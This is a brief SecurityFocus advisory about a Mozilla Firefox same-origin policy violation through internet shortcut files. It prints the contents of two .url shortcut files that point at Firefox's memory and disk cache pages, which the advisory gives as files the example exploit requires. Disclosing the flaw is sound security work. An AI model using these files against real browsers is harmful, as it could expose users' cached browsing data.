Mozilla Firefox Internet Shortcut Same Origin Policy Violation Vulnerability

An example exploit is available. The following internet shortcut files are also required:

'testurl1.url':
[InternetShortcut]
URL=about:cache?device=memory
IDList=
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,2

'testurl2.url':
[InternetShortcut]
URL=about:cache?device=disk
IDList=
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,2


 

Privacy Statement
Copyright 2010, SecurityFocus